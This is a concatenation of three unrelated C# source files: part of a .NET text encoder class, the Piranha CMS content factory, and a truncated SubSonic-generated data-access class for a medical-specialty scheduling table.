stateless. /// </remarks> #pragma warning disable 3011 [CLSCompliant(false)] [EditorBrowsable(EditorBrowsableState.Never)] public unsafe abstract bool TryEncodeUnicodeScalar(int unicodeScalar, char* buffer, int bufferLength, out int numberOfCharactersWritten); // all subclasses have the same implementation of this method. // but this cannot be made virtual, because it will cause a virtual call to Encodes, and it destroys perf, i.e. makes common scenario 2x slower /// <summary> /// Finds index of the first character that needs to be encoded. /// </summary> /// <param name="text">The text buffer to search.</param> /// <param name="textLength">The number of characters in the <paramref name="text"/>.</param> /// <returns></returns> /// <remarks>This method is seldom called directly. It's used by higher level helper APIs.</remarks> [CLSCompliant(false)] [EditorBrowsable(EditorBrowsableState.Never)] public unsafe abstract int FindFirstCharacterToEncode(char* text, int textLength); #pragma warning restore /// <summary> /// Determines if a given Unicode scalar will be encoded. /// </summary> /// <param name="unicodeScalar">Unicode scalar.</param> /// <returns>Returns true if the <paramref name="unicodeScalar"/> will be encoded by this encoder, otherwise returns false.</returns> [EditorBrowsable(EditorBrowsableState.Never)] public abstract bool WillEncode(int unicodeScalar); // this could be a field, but I am trying to make the abstraction pure. /// <summary> /// Maximum number of characters that this encoder can generate for each input character. /// </summary> [EditorBrowsable(EditorBrowsableState.Never)] public abstract int MaxOutputCharactersPerInputCharacter { get; } /// <summary> /// Encodes the supplied string and returns the encoded text as a new string. /// </summary> /// <param name="value">String to encode.</param> /// <returns>Encoded string.</returns> public virtual string Encode(string value) { if (value == null) { throw new ArgumentNullException(nameof(value)); } unsafe { fixed (char* valuePointer = value) { int firstCharacterToEncode = FindFirstCharacterToEncode(valuePointer, value.Length); if (firstCharacterToEncode == -1) { return value; } int bufferSize = MaxOutputCharactersPerInputCharacter * value.Length; string result; if (bufferSize < 1024) { char* wholebuffer = stackalloc char[bufferSize]; int totalWritten = EncodeIntoBuffer(wholebuffer, bufferSize, valuePointer, value.Length, firstCharacterToEncode); result = new string(wholebuffer, 0, totalWritten); } else { char[] wholebuffer = new char[bufferSize]; fixed(char* buffer = &wholebuffer[0]) { int totalWritten = EncodeIntoBuffer(buffer, bufferSize, valuePointer, value.Length, firstCharacterToEncode); result = new string(wholebuffer, 0, totalWritten); } } return result; } } } // NOTE: The order of the parameters to this method is a work around for https://github.com/dotnet/corefx/issues/4455 // and the underlying Mono bug: https://bugzilla.xamarin.com/show_bug.cgi?id=36052. // If changing the signature of this method, ensure this issue isn't regressing on Mono. private unsafe int EncodeIntoBuffer(char* buffer, int bufferLength, char* value, int valueLength, int firstCharacterToEncode) { int totalWritten = 0; if (firstCharacterToEncode > 0) { int bytesToCopy = firstCharacterToEncode + firstCharacterToEncode; BufferInternal.MemoryCopy(value, buffer, bytesToCopy, bytesToCopy); totalWritten += firstCharacterToEncode; bufferLength -= firstCharacterToEncode; buffer += firstCharacterToEncode; } int valueIndex = firstCharacterToEncode; char firstChar = value[valueIndex]; char secondChar = firstChar; bool wasSurrogatePair = false; int charsWritten; // this loop processes character pairs (in case they are surrogates). // there is an if block below to process single last character. for (int secondCharIndex = valueIndex + 1; secondCharIndex < valueLength; secondCharIndex++) { if (!wasSurrogatePair) { firstChar = secondChar; } else { firstChar = value[secondCharIndex - 1]; } secondChar = value[secondCharIndex]; if (!WillEncode(firstChar)) { wasSurrogatePair = false; *buffer = firstChar; buffer++; bufferLength--; totalWritten++; } else { int nextScalar = UnicodeHelpers.GetScalarValueFromUtf16(firstChar, secondChar, out wasSurrogatePair); if (!TryEncodeUnicodeScalar(nextScalar, buffer, bufferLength, out charsWritten)) { throw new ArgumentException("Argument encoder does not implement MaxOutputCharsPerInputChar correctly."); } buffer += charsWritten; bufferLength -= charsWritten; totalWritten += charsWritten; if (wasSurrogatePair) { secondCharIndex++; } } } if (!wasSurrogatePair) { firstChar = value[valueLength - 1]; int nextScalar = UnicodeHelpers.GetScalarValueFromUtf16(firstChar, null, out wasSurrogatePair); if (!TryEncodeUnicodeScalar(nextScalar, buffer, bufferLength, out charsWritten)) { throw new ArgumentException("Argument encoder does not implement MaxOutputCharsPerInputChar correctly."); } buffer += charsWritten; bufferLength -= charsWritten; totalWritten += charsWritten; } return totalWritten; } /// <summary> /// Encodes the supplied string into a <see cref="TextWriter"/>. /// </summary> /// <param name="output">Encoded text is written to this output.</param> /// <param name="value">String to be encoded.</param> public void Encode(TextWriter output, string value) { Encode(output, value, 0, value.Length); } /// <summary> /// Encodes a substring into a <see cref="TextWriter"/>. /// </summary> /// <param name="output">Encoded text is written to this output.</param> /// <param name="value">String whose substring is to be encoded.</param> /// <param name="startIndex">The index where the substring starts.</param> /// <param name="characterCount">Number of characters in the substring.</param> public virtual void Encode(TextWriter output, string value, int startIndex, int characterCount) { if (value == null) { throw new ArgumentNullException(nameof(value)); } if (output == null) { throw new ArgumentNullException(nameof(output)); } ValidateRanges(startIndex, characterCount, actualInputLength: value.Length); unsafe { fixed (char* valuePointer = value) { char* substring = valuePointer + startIndex; int firstIndexToEncode = FindFirstCharacterToEncode(substring, characterCount); if (firstIndexToEncode == -1) // nothing to encode; { if (startIndex == 0 && characterCount == value.Length) // write whole string { output.Write(value); return; } for (int i = 0; i < characterCount; i++) // write substring { output.Write(*substring); substring++; } return; } // write prefix, then encode for (int i = 0; i < firstIndexToEncode; i++) { output.Write(*substring); substring++; } EncodeCore(output, substring, characterCount - firstIndexToEncode); } } } /// <summary> /// Encodes characters from an array into a <see cref="TextWriter"/>. /// </summary> /// <param name="output">Encoded text is written to the output.</param> /// <param name="value">Array of characters to be encoded.</param> /// <param name="startIndex">The index where the substring starts.</param> /// <param name="characterCount">Number of characters in the substring.</param> public virtual void Encode(TextWriter output, char[] value, int startIndex, int characterCount) { if (value == null) { throw new ArgumentNullException(nameof(value)); } if (output == null) { throw new ArgumentNullException(nameof(output)); } ValidateRanges(startIndex, characterCount, actualInputLength: value.Length); unsafe { fixed (char* valuePointer = value) { char* substring = valuePointer + startIndex; int firstIndexToEncode = FindFirstCharacterToEncode(substring, characterCount); if (firstIndexToEncode == -1) // nothing to encode; { if (startIndex == 0 && characterCount == value.Length) // write whole string { output.Write(value); return; } for (int i = 0; i < characterCount; i++) // write substring { output.Write(*substring); substring++; } return; } // write prefix, then encode for (int i = 0; i < firstIndexToEncode; i++) { output.Write(*substring); substring++; } EncodeCore(output, substring, characterCount - firstIndexToEncode); } } } private unsafe void EncodeCore(TextWriter output, char* value, int valueLength) { Debug.Assert(value != null & output != null); Debug.Assert(valueLength >= 0); int bufferLength = MaxOutputCharactersPerInputCharacter; char* buffer = stackalloc char[bufferLength]; char firstChar = *value; char secondChar = firstChar; bool wasSurrogatePair = false; int charsWritten; // this loop processes character pairs (in case they are surrogates). // there is an if block below to process single last character. for (int secondCharIndex = 1; secondCharIndex < valueLength; secondCharIndex++) { if (!wasSurrogatePair) { firstChar = secondChar; } else { firstChar = value[secondCharIndex - 1]; } secondChar = value[secondCharIndex]; if (!WillEncode(firstChar)) { wasSurrogatePair = false; output.Write(firstChar); } else { int nextScalar = UnicodeHelpers.GetScalarValueFromUtf16(firstChar, secondChar, out wasSurrogatePair); if (!TryEncodeUnicodeScalar(nextScalar, buffer, bufferLength, out charsWritten)) { throw new ArgumentException("Argument encoder does not implement MaxOutputCharsPerInputChar correctly."); } Write(output, buffer, charsWritten); if (wasSurrogatePair) { secondCharIndex++; } } } if (!wasSurrogatePair) { firstChar = value[valueLength - 1]; int nextScalar = UnicodeHelpers.GetScalarValueFromUtf16(firstChar, null, out wasSurrogatePair); if (!TryEncodeUnicodeScalar(nextScalar, buffer, bufferLength, out charsWritten)) { throw new ArgumentException("Argument encoder does not implement MaxOutputCharsPerInputChar correctly."); } Write(output, buffer, charsWritten); } } internal static unsafe bool TryCopyCharacters(char[] source, char* destination, int destinationLength, out int numberOfCharactersWritten) { Debug.Assert(source != null && destination != null && destinationLength >= 0); if (destinationLength < source.Length) { numberOfCharactersWritten = 0; return false; } for (int i = 0; i < source.Length; i++) { destination[i] = source[i]; } numberOfCharactersWritten = source.Length; return true; } [MethodImpl(MethodImplOptions.AggressiveInlining)] internal static unsafe bool TryWriteScalarAsChar(int unicodeScalar, char* destination, int destinationLength, out int numberOfCharactersWritten) { Debug.Assert(destination != null && destinationLength >= 0); Debug.Assert(unicodeScalar < ushort.MaxValue); if (destinationLength < 1) { numberOfCharactersWritten = 0; return false; } *destination = (char)unicodeScalar; numberOfCharactersWritten = 1; return true; } private static void ValidateRanges(int startIndex, int characterCount, int actualInputLength) { if (startIndex < 0 || startIndex > actualInputLength) { throw new ArgumentOutOfRangeException(nameof(startIndex)); } if (characterCount < 0 || characterCount > (actualInputLength - startIndex)) { throw new ArgumentOutOfRangeException(nameof(characterCount)); } } private static unsafe void Write(TextWriter output, char* input, int inputLength) { Debug.Assert(output != null && input != null && inputLength >= 0); while (inputLength-- > 0) { output.Write(*input); input++; } } } }
/* * Copyright (c) .NET Foundation and Contributors * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. * * https://github.com/piranhacms/piranha.core * */ using System; using System.Collections; using System.Collections.Generic; using System.Dynamic; using System.Linq; using System.Reflection; using System.Threading.Tasks; using Microsoft.Extensions.DependencyInjection; using Piranha.Extend; using Piranha.Models; namespace Piranha.Services { /// <summary> /// The content factory is responsible for creating models and /// initializing them after they have been loaded. /// </summary> public class ContentFactory : IContentFactory { private readonly IServiceProvider _services; /// <summary> /// Default constructor. /// </summary> /// <param name="services">The current service provider</param> public ContentFactory(IServiceProvider services) { _services = services; } /// <summary> /// Creates and initializes a new content model. /// </summary> /// <param name="type">The content type</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The new model</returns> public Task<T> CreateAsync<T>(ContentTypeBase type) where T : ContentBase { if (typeof(IDynamicContent).IsAssignableFrom(typeof(T))) { return CreateDynamicModelAsync<T>(type); } return CreateModelAsync<T>(type); } /// <summary> /// Creates a new dynamic region. /// </summary> /// <param name="type">The content type</param> /// <param name="regionId">The region id</param> /// <param name="managerInit">If manager initialization should be performed</param> /// <returns>The new region value</returns> public Task<object> CreateDynamicRegionAsync(ContentTypeBase type, string regionId, bool managerInit = false) { using (var scope = _services.CreateScope()) { var region = type.Regions.FirstOrDefault(r => r.Id == regionId); if (region != null) { return CreateDynamicRegionAsync(scope, region, true, managerInit); } return null; } } /// <summary> /// Creates and initializes a new block of the specified type. /// </summary> /// <param name="typeName">The type name</param> /// <param name="managerInit">If manager initialization should be performed</param> /// <returns>The new block</returns> public async Task<object> CreateBlockAsync(string typeName, bool managerInit = false) { var blockType = App.Blocks.GetByType(typeName); if (blockType != null) { using (var scope = _services.CreateScope()) { var block = (Extend.Block)Activator.CreateInstance(blockType.Type); block.Type = typeName; foreach (var prop in blockType.Type.GetProperties(App.PropertyBindings)) { if (typeof(Extend.IField).IsAssignableFrom(prop.PropertyType)) { var field = Activator.CreateInstance(prop.PropertyType); await InitFieldAsync(scope, field, managerInit).ConfigureAwait(false); prop.SetValue(block, field); } } return block; } } return null; } /// <summary> /// Creates and initializes a new dynamic model. /// </summary> /// <param name="type">The content type</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The new model</returns> private async Task<T> CreateDynamicModelAsync<T>(ContentTypeBase type) where T : ContentBase { using (var scope = _services.CreateScope()) { // Create a new instance of the specified type var model = Activator.CreateInstance<T>(); model.TypeId = type.Id; foreach (var regionType in type.Regions) { object region = null; if (!regionType.Collection) { // Create and initialize the region region = await CreateDynamicRegionAsync(scope, regionType).ConfigureAwait(false); } else { // Create a region item without initialization for type reference var listObject = await CreateDynamicRegionAsync(scope, regionType, false).ConfigureAwait(false); if (listObject != null) { // Create the region list region = Activator.CreateInstance(typeof(RegionList<>).MakeGenericType(listObject.GetType())); ((IRegionList)region).Model = (IDynamicContent)model; ((IRegionList)region).TypeId = type.Id; ((IRegionList)region).RegionId = regionType.Id; } } if (region != null) { ((IDictionary<string, object>)((IDynamicContent)model).Regions).Add(regionType.Id, region); } } return model; } } /// <summary> /// Creates and initializes a new dynamic model. /// </summary> /// <param name="type">The content type</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The new model</returns> private async Task<T> CreateModelAsync<T>(ContentTypeBase type) where T : ContentBase { using (var scope = _services.CreateScope()) { var modelType = typeof(T); if (!typeof(IContentInfo).IsAssignableFrom(modelType)) { modelType = Type.GetType(type.CLRType); if (modelType != typeof(T) && !typeof(T).IsAssignableFrom(modelType)) { return null; } } // Create a new instance of the specified type var model = (T)Activator.CreateInstance(modelType); model.TypeId = type.Id; foreach (var regionType in type.Regions) { object region = null; if (!regionType.Collection) { // Create and initialize the region region = await CreateRegionAsync(scope, model, modelType, regionType).ConfigureAwait(false); } else { var property = modelType.GetProperty(regionType.Id, App.PropertyBindings); if (property != null) { region = Activator.CreateInstance(typeof(List<>).MakeGenericType(property.PropertyType.GetGenericArguments()[0])); } } if (region != null) { modelType.SetPropertyValue(regionType.Id, model, region); } } return model; } } /// <summary> /// Initializes the given dynamic model. /// </summary> /// <param name="model">The model</param> /// <param name="type">The content type</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The initialized model</returns> public Task<T> InitDynamicAsync<T>(T model, ContentTypeBase type) where T : IDynamicContent { return InitDynamicAsync<T>(model, type, false); } /// <summary> /// Initializes the given dynamic model for the manager. /// </summary> /// <param name="model">The model</param> /// <param name="type">The content type</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The initialized model</returns> public Task<T> InitDynamicManagerAsync<T>(T model, ContentTypeBase type) where T : IDynamicContent { return InitDynamicAsync<T>(model, type, true); } /// <summary> /// Initializes the given dynamic model. /// </summary> /// <param name="model">The model</param> /// <param name="type">The content type</param> /// <param name="managerInit">If this is initialization used by the manager</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The initialized model</returns> private async Task<T> InitDynamicAsync<T>(T model, ContentTypeBase type, bool managerInit) where T : IDynamicContent { using (var scope = _services.CreateScope()) { foreach (var regionType in type.Regions) { // Try to get the region from the model if (((IDictionary<string, object>)model.Regions).TryGetValue(regionType.Id, out var region)) { if (!regionType.Collection) { // Initialize it await InitDynamicRegionAsync(scope, region, regionType, managerInit).ConfigureAwait(false); } else { // This region was a collection. Initialize all items foreach (var item in (IList)region) { await InitDynamicRegionAsync(scope, item, regionType, managerInit).ConfigureAwait(false); } } } } if (model is IBlockContent blockModel) { foreach (var block in blockModel.Blocks) { await InitBlockAsync(scope, block, managerInit).ConfigureAwait(false); if (block is BlockGroup blockGroup) { foreach (var child in blockGroup.Items) { await InitBlockAsync(scope, child, managerInit).ConfigureAwait(false); } } } } } return model; } /// <summary> /// Initializes the given model. /// </summary> /// <param name="model">The model</param> /// <param name="type">The content type</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The initialized model</returns> public Task<T> InitAsync<T>(T model, ContentTypeBase type) where T : ContentBase { return InitAsync<T>(model, type, false); } /// <summary> /// Initializes the given model for the manager. /// </summary> /// <param name="model">The model</param> /// <param name="type">The content type</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The initialized model</returns> public Task<T> InitManagerAsync<T>(T model, ContentTypeBase type) where T : ContentBase { return InitAsync<T>(model, type, true); } /// <summary> /// Initializes the given field. /// </summary> /// <param name="field">The field</param> /// <param name="managerInit">If this is initialization used by the manager</param> /// <returns>The initialized field</returns> public async Task<object> InitFieldAsync(object field, bool managerInit = false) { using (var scope = _services.CreateScope()) { return await InitFieldAsync(scope, field, managerInit).ConfigureAwait(false); } } /// <summary> /// Initializes the given model. /// </summary> /// <param name="model">The model</param> /// <param name="type">The content type</param> /// <param name="managerInit">If this is initialization used by the manager</param> /// <typeparam name="T">The model type</typeparam> /// <returns>The initialized model</returns> private async Task<T> InitAsync<T>(T model, ContentTypeBase type, bool managerInit) where T : ContentBase { if (model is IDynamicContent) { throw new ArgumentException("For dynamic models InitDynamic should be used."); } using (var scope = _services.CreateScope()) { foreach (var regionType in type.Regions) { // Try to get the region from the model var region = model.GetType().GetPropertyValue(regionType.Id, model); if (region != null) { if (!regionType.Collection) { // Initialize it await InitRegionAsync(scope, region, regionType, managerInit).ConfigureAwait(false); } else { // This region was a collection. Initialize all items foreach (var item in (IList)region) { await InitRegionAsync(scope, item, regionType, managerInit).ConfigureAwait(false); } } } } if (!(model is IContentInfo) && model is IBlockContent blockModel) { foreach (var block in blockModel.Blocks) { await InitBlockAsync(scope, block, managerInit).ConfigureAwait(false); if (block is Extend.BlockGroup) { foreach (var child in ((Extend.BlockGroup)block).Items) { await InitBlockAsync(scope, child, managerInit).ConfigureAwait(false); } } } } } return model; } /// <summary> /// Initializes all fields in the given dynamic region. /// </summary> /// <param name="scope">The current service scope</param> /// <param name="region">The region</param> /// <param name="regionType">The region type</param> /// <param name="managerInit">If this is initialization used by the manager</param> private async Task InitDynamicRegionAsync(IServiceScope scope, object region, ContentTypeRegion regionType, bool managerInit) { if (region != null) { if (regionType.Fields.Count == 1) { // This region only has one field, that means // the region is in fact a field. await InitFieldAsync(scope, region, managerInit).ConfigureAwait(false); } else { // Initialize all fields foreach (var fieldType in regionType.Fields) { if (((IDictionary<string, object>)region).TryGetValue(fieldType.Id, out var field)) { await InitFieldAsync(scope, field, managerInit).ConfigureAwait(false); } } } } } /// <summary> /// Initializes all fields in the given region. /// </summary> /// <param name="scope">The current service scope</param> /// <param name="region">The region</param> /// <param name="regionType">The region type</param> /// <param name="managerInit">If this is initialization used by the manager</param> private async Task InitRegionAsync(IServiceScope scope, object region, ContentTypeRegion regionType, bool managerInit) { if (region != null) { if (regionType.Fields.Count == 1) { // This region only has one field, that means // the region is in fact a field. await InitFieldAsync(scope, region, managerInit).ConfigureAwait(false); } else { var type = region.GetType(); // Initialize all fields foreach (var fieldType in regionType.Fields) { var field = type.GetPropertyValue(fieldType.Id, region); if (field != null) { await InitFieldAsync(scope, field, managerInit).ConfigureAwait(false); } } } } } /// <summary> /// Initializes all fields in the given block. /// </summary> /// <param name="scope">The current service scope</param> /// <param name="block">The block</param> /// <param name="managerInit">If this is initialization used by the manager</param> private async Task InitBlockAsync(IServiceScope scope, Extend.Block block, bool managerInit) { if (block != null) { var properties = block.GetType().GetProperties(App.PropertyBindings); // Initialize all of the fields foreach (var property in properties) { if (typeof(Extend.IField).IsAssignableFrom(property.PropertyType)) { var field = property.GetValue(block); if (field != null) { await InitFieldAsync(scope, field, managerInit).ConfigureAwait(false); } } } // Initialize the block var appBlock = App.Blocks.GetByType(block.GetType()); if (appBlock != null) { await appBlock.Init.InvokeAsync(block, scope, managerInit).ConfigureAwait(false); } } } /// <summary> /// Creates a new dynamic region. /// </summary> /// <param name="scope">The current service scope</param> /// <param name="regionType">The region type</param> /// <param name="initFields">If fields should be initialized</param> /// <param name="managerInit">If manager init should be performed on the fields</param> /// <returns>The created region</returns> private async Task<object> CreateDynamicRegionAsync(IServiceScope scope, ContentTypeRegion regionType, bool initFields = true, bool managerInit = false) { if (regionType.Fields.Count == 1) { var field = CreateField(regionType.Fields[0]); if (field != null) { if (initFields) { await InitFieldAsync(scope, field, managerInit).ConfigureAwait(false); } return field; } } else { var reg = new ExpandoObject(); foreach (var fieldType in regionType.Fields) { var field = CreateField(fieldType); if (field != null) { if (initFields) { await InitFieldAsync(scope, field, managerInit).ConfigureAwait(false); } ((IDictionary<string, object>)reg).Add(fieldType.Id, field); } } return reg; } return null; } /// <summary> /// Creates a new region. /// </summary> /// <param name="scope">The current service scope</param> /// <param name="model">The model to create the region for</param> /// <param name="modelType">The model type</param> /// <param name="regionType">The region type</param> /// <param name="initFields">If fields should be initialized</param> /// <returns>The created region</returns> private async Task<object> CreateRegionAsync(IServiceScope scope, object model, Type modelType, ContentTypeRegion regionType, bool initFields = true) { if (regionType.Fields.Count == 1) { var field = CreateField(regionType.Fields[0]); if (field != null) { if (initFields) { await InitFieldAsync(scope, field, false).ConfigureAwait(false); } return field; } } else { var property = modelType.GetProperty(regionType.Id, App.PropertyBindings); if (property != null) { var reg = Activator.CreateInstance(property.PropertyType); foreach (var fieldType in regionType.Fields) { var field = CreateField(fieldType); if (field != null) { if (initFields) { await InitFieldAsync(scope, field, false).ConfigureAwait(false); } reg.GetType().SetPropertyValue(fieldType.Id, reg, field); } } return reg; } } return null; } /// <summary> /// Creates a new instance of the given field type. /// </summary> /// <param name="fieldType">The field type</param> /// <returns>The new instance</returns> private object CreateField(ContentTypeField fieldType) { var type = App.Fields.GetByType(fieldType.Type); if (type != null) { return Activator.CreateInstance(type.Type); } return null; } /// <summary> /// Initializes the given field. /// </summary> /// <param name="scope">The current service scope</param> /// <param name="field">The field</param> /// <param name="managerInit">If this is initialization used by the manager</param> /// <returns>The initialized field</returns> private async Task<object> InitFieldAsync(IServiceScope scope, object field, bool managerInit) { var appField = App.Fields.GetByType(field.GetType()); if (appField != null) { await appField.Init.InvokeAsync(field, scope, managerInit); } return field; } } }
using System; using System.Text; using System.Data; using System.Data.SqlClient; using System.Data.Common; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Configuration; using System.Xml; using System.Xml.Serialization; using SubSonic; using SubSonic.Utilities; namespace DalSic { /// <summary> /// Strongly-typed collection for the SysRelEspecialidadEfector class. /// </summary> [Serializable] public partial class SysRelEspecialidadEfectorCollection : ActiveList<SysRelEspecialidadEfector, SysRelEspecialidadEfectorCollection> { public SysRelEspecialidadEfectorCollection() {} /// <summary> /// Filters an existing collection based on the set criteria. This is an in-memory filter /// Thanks to developingchris for this! /// </summary> /// <returns>SysRelEspecialidadEfectorCollection</returns> public SysRelEspecialidadEfectorCollection Filter() { for (int i = this.Count - 1; i > -1; i--) { SysRelEspecialidadEfector o = this[i]; foreach (SubSonic.Where w in this.wheres) { bool remove = false; System.Reflection.PropertyInfo pi = o.GetType().GetProperty(w.ColumnName); if (pi.CanRead) { object val = pi.GetValue(o, null); switch (w.Comparison) { case SubSonic.Comparison.Equals: if (!val.Equals(w.ParameterValue)) { remove = true; } break; } } if (remove) { this.Remove(o); break; } } } return this; } } /// <summary> /// This is an ActiveRecord class which wraps the Sys_RelEspecialidadEfector table. /// </summary> [Serializable] public partial class SysRelEspecialidadEfector : ActiveRecord<SysRelEspecialidadEfector>, IActiveRecord { #region .ctors and Default Settings public SysRelEspecialidadEfector() { SetSQLProps(); InitSetDefaults(); MarkNew(); } private void InitSetDefaults() { SetDefaults(); } public SysRelEspecialidadEfector(bool useDatabaseDefaults) { SetSQLProps(); if(useDatabaseDefaults) ForceDefaults(); MarkNew(); } public SysRelEspecialidadEfector(object keyID) { SetSQLProps(); InitSetDefaults(); LoadByKey(keyID); } public SysRelEspecialidadEfector(string columnName, object columnValue) { SetSQLProps(); InitSetDefaults(); LoadByParam(columnName,columnValue); } protected static void SetSQLProps() { GetTableSchema(); } #endregion #region Schema and Query Accessor public static Query CreateQuery() { return new Query(Schema); } public static TableSchema.Table Schema { get { if (BaseSchema == null) SetSQLProps(); return BaseSchema; } } private static void GetTableSchema() { if(!IsSchemaInitialized) { //Schema declaration TableSchema.Table schema = new TableSchema.Table("Sys_RelEspecialidadEfector", TableType.Table, DataService.GetInstance("sicProvider")); schema.Columns = new TableSchema.TableColumnCollection(); schema.SchemaName = @"dbo"; //columns TableSchema.TableColumn colvarIdRelEspecialidadEfector = new TableSchema.TableColumn(schema); colvarIdRelEspecialidadEfector.ColumnName = "idRelEspecialidadEfector"; colvarIdRelEspecialidadEfector.DataType = DbType.Int32; colvarIdRelEspecialidadEfector.MaxLength = 0; colvarIdRelEspecialidadEfector.AutoIncrement = true; colvarIdRelEspecialidadEfector.IsNullable = false; colvarIdRelEspecialidadEfector.IsPrimaryKey = true; colvarIdRelEspecialidadEfector.IsForeignKey = false; colvarIdRelEspecialidadEfector.IsReadOnly = false; colvarIdRelEspecialidadEfector.DefaultSetting = @""; colvarIdRelEspecialidadEfector.ForeignKeyTableName = ""; schema.Columns.Add(colvarIdRelEspecialidadEfector); TableSchema.TableColumn colvarIdEspecialidad = new TableSchema.TableColumn(schema); colvarIdEspecialidad.ColumnName = "idEspecialidad"; colvarIdEspecialidad.DataType = DbType.Int32; colvarIdEspecialidad.MaxLength = 0; colvarIdEspecialidad.AutoIncrement = false; colvarIdEspecialidad.IsNullable = false; colvarIdEspecialidad.IsPrimaryKey = false; colvarIdEspecialidad.IsForeignKey = true; colvarIdEspecialidad.IsReadOnly = false; colvarIdEspecialidad.DefaultSetting = @""; colvarIdEspecialidad.ForeignKeyTableName = "Sys_Especialidad"; schema.Columns.Add(colvarIdEspecialidad); TableSchema.TableColumn colvarIdEfector = new TableSchema.TableColumn(schema); colvarIdEfector.ColumnName = "idEfector"; colvarIdEfector.DataType = DbType.Int32; colvarIdEfector.MaxLength = 0; colvarIdEfector.AutoIncrement = false; colvarIdEfector.IsNullable = false; colvarIdEfector.IsPrimaryKey = false; colvarIdEfector.IsForeignKey = true; colvarIdEfector.IsReadOnly = false; colvarIdEfector.DefaultSetting = @""; colvarIdEfector.ForeignKeyTableName = "Sys_Efector"; schema.Columns.Add(colvarIdEfector); TableSchema.TableColumn colvarDuracionTurno = new TableSchema.TableColumn(schema); colvarDuracionTurno.ColumnName = "duracionTurno"; colvarDuracionTurno.DataType = DbType.Int32; colvarDuracionTurno.MaxLength = 0; colvarDuracionTurno.AutoIncrement = false; colvarDuracionTurno.IsNullable = false; colvarDuracionTurno.IsPrimaryKey = false; colvarDuracionTurno.IsForeignKey = false; colvarDuracionTurno.IsReadOnly = false; colvarDuracionTurno.DefaultSetting = @""; colvarDuracionTurno.ForeignKeyTableName = ""; schema.Columns.Add(colvarDuracionTurno); TableSchema.TableColumn colvarPorcentajeTurnosDia = new TableSchema.TableColumn(schema); colvarPorcentajeTurnosDia.ColumnName = "porcentajeTurnosDia"; colvarPorcentajeTurnosDia.DataType = DbType.Int32; colvarPorcentajeTurnosDia.MaxLength = 0; colvarPorcentajeTurnosDia.AutoIncrement = false; colvarPorcentajeTurnosDia.IsNullable = false; colvarPorcentajeTurnosDia.IsPrimaryKey = false; colvarPorcentajeTurnosDia.IsForeignKey = false; colvarPorcentajeTurnosDia.IsReadOnly = false; colvarPorcentajeTurnosDia.DefaultSetting = @"((0))"; colvarPorcentajeTurnosDia.ForeignKeyTableName = ""; schema.Columns.Add(colvarPorcentajeTurnosDia); TableSchema.TableColumn colvarPorcentajeTurnosAnticipado = new TableSchema.TableColumn(schema); colvarPorcentajeTurnosAnticipado.ColumnName = "porcentajeTurnosAnticipado"; colvarPorcentajeTurnosAnticipado.DataType = DbType.Int32; colvarPorcentajeTurnosAnticipado.MaxLength = 0; colvarPorcentajeTurnosAnticipado.AutoIncrement = false; colvarPorcentajeTurnosAnticipado.IsNullable = false; colvarPorcentajeTurnosAnticipado.IsPrimaryKey = false; colvarPorcentajeTurnosAnticipado.IsForeignKey = false; colvarPorcentajeTurnosAnticipado.IsReadOnly = false; colvarPorcentajeTurnosAnticipado.DefaultSetting = @"((0))"; colvarPorcentajeTurnosAnticipado.ForeignKeyTableName = ""; schema.Columns.Add(colvarPorcentajeTurnosAnticipado); TableSchema.TableColumn colvarMaximoSobreturnos = new TableSchema.TableColumn(schema); colvarMaximoSobreturnos.ColumnName = "maximoSobreturnos"; colvarMaximoSobreturnos.DataType = DbType.Int32; colvarMaximoSobreturnos.MaxLength = 0; colvarMaximoSobreturnos.AutoIncrement = false; colvarMaximoSobreturnos.IsNullable = false; colvarMaximoSobreturnos.IsPrimaryKey = false; colvarMaximoSobreturnos.IsForeignKey = false; colvarMaximoSobreturnos.IsReadOnly = false; colvarMaximoSobreturnos.DefaultSetting = @"((0))"; colvarMaximoSobreturnos.ForeignKeyTableName = ""; schema.Columns.Add(colvarMaximoSobreturnos); TableSchema.TableColumn colvarIdUsuarioRegistro = new TableSchema.TableColumn(schema); colvarIdUsuarioRegistro.ColumnName = "idUsuarioRegistro"; colvarIdUsuarioRegistro.DataType = DbType.Int32; colvarIdUsuarioRegistro.MaxLength = 0; colvarIdUsuarioRegistro.AutoIncrement = false; colvarIdUsuarioRegistro.IsNullable = false; colvarIdUsuarioRegistro.IsPrimaryKey = false; colvarIdUsuarioRegistro.IsForeignKey = false; colvarIdUsuarioRegistro.IsReadOnly = false; colvarIdUsuarioRegistro.DefaultSetting = @""; colvarIdUsuarioRegistro.ForeignKeyTableName = ""; schema.Columns.Add(colvarIdUsuarioRegistro); TableSchema.TableColumn colvarFechaRegistro = new TableSchema.TableColumn(schema); colvarFechaRegistro.ColumnName = "fechaRegistro"; colvarFechaRegistro.DataType = DbType.DateTime; colvarFechaRegistro.MaxLength = 0; colvarFechaRegistro.AutoIncrement = false; colvarFechaRegistro.IsNullable = false; colvarFechaRegistro.IsPrimaryKey = false; colvarFechaRegistro.IsForeignKey = false; colvarFechaRegistro.IsReadOnly = false; colvarFechaRegistro.DefaultSetting = @"(((1)/(1))/(1900))"; colvarFechaRegistro.ForeignKeyTableName = ""; schema.Columns.Add(colvarFechaRegistro); BaseSchema = schema; //add this schema to the provider //so we can query it later DataService.Providers["sicProvider"].AddSchema("Sys_RelEspecialidadEfector",schema); } } #endregion #region Props [XmlAttribute("IdRelEspecialidadEfector")] [Bindable(true)] public int IdRelEspecialidadEfector { get { return GetColumnValue<int>(Columns.IdRelEspecialidadEfector); } set { SetColumnValue(Columns.IdRelEspecialidadEfector, value); } } [XmlAttribute("IdEspecialidad")] [Bindable(true)] public int IdEspecialidad { get { return GetColumnValue<int>(Columns.IdEspecialidad); } set { SetColumnValue(Columns.IdEspecialidad, value); } } [XmlAttribute("IdEfector")] [Bindable(true)] public int IdEfector { get { return GetColumnValue<int>(Columns.IdEfector); } set { SetColumnValue(Columns.IdEfector, value); } } [XmlAttribute("DuracionTurno")] [Bindable(true)] public int DuracionTurno { get { return GetColumnValue<int>(Columns.DuracionTurno); } set { SetColumnValue(Columns.DuracionTurno, value); } } 